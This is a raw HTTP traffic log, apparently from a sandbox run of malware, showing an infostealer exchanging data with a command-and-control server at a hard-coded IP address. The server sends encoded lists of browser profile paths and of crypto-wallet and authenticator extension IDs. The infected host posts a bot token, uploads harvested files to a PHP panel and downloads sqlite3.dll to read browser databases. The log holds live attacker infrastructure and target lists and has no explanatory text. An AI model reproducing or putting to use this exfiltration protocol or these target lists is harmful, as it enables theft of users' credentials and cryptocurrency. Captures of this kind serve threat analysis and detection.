Aug 30, 2024 03:17:30.668271065 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Aug 30, 2024 03:17:30.668287992 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Aug 30, 2024 03:17:30.862761974 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBKKFBAEGDHJJJJKFBK Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 2d 2d 0d 0a Data Ascii: ------AFBKKFBAEGDHJJJJKFBKContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------AFBKKFBAEGDHJJJJKFBKContent-Disposition: form-data; name="message"plugins------AFBKKFBAEGDHJJJJKFBK--
Aug 30, 2024 03:17:31.046835899 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Aug 30, 2024 03:17:31.046850920 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Aug 30, 2024 03:17:31.046863079 CEST	448	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Aug 30, 2024 03:17:31.046968937 CEST	1236	IN	Data Raw: 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 72 61 6d 31 76 62 32 Data Ascii: b2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWlvamZsamNraWxoaGxoY2p8MXw
Aug 30, 2024 03:17:31.046983004 CEST	1236	IN	Data Raw: 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 42 38 51 58 56 30 61 48 6c 38 5a 32 Data Ascii: fEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmh
Aug 30, 2024 03:17:31.046993017 CEST	448	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Aug 30, 2024 03:17:31.047295094 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Aug 30, 2024 03:17:31.047307968 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Aug 30, 2024 03:17:31.855463982 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJECFCGHIDGHIDHDHIE Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="message"fplugins------DHJECFCGHIDGHIDHDHIE--
Aug 30, 2024 03:17:32.036621094 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Aug 30, 2024 03:17:32.270998955 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEBFIEBAFCBAAAAKJKJE Host: 46.8.231.109 Content-Length: 8991 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 03:17:32.271028996 CEST	8991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 42 46 49 45 42 41 46 43 42 41 41 41 41 4b 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 Data Ascii: ------IEBFIEBAFCBAAAAKJKJEContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------IEBFIEBAFCBAAAAKJKJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Aug 30, 2024 03:17:32.774899960 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 03:17:32.791143894 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 30, 2024 03:17:32.969185114 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Aug 30, 2024 03:17:32.969202042 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Aug 30, 2024 03:17:34.513617992 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIEBAFHJJDBGCAKJJKF Host: 46.8.231.109 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 03:17:34.872652054 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 03:17:35.139480114 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJKEHCAKFBFHJKEHCF Host: 46.8.231.109 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 03:17:35.457559109 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 03:17:35.605349064 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDGIIDHJEBGIDHJJDBK Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 49 49 44 48 4a 45 42 47 49 44 48 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJDGIIDHJEBGIDHJJDBKContent-Disposition: form-data; name="file"------JJDGIIDHJEBGIDHJJDBK--
Aug 30, 2024 03:17:35.848987103 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 03:17:36.525753975 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDHIDAAFHIIDGDBFIE Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 35 30 39 38 34 36 37 65 35 35 62 33 34 38 65 32 36 35 37 35 32 34 36 62 63 61 31 32 62 31 39 32 66 64 65 61 63 63 33 39 38 62 34 66 32 36 32 38 63 36 32 62 61 61 35 38 32 35 30 31 33 61 62 38 39 61 32 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="token"795098467e55b348e26575246bca12b192fdeacc398b4f2628c62baa5825013ab89a216b------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="file"------ECGDHIDAAFHIIDGDBFIE--
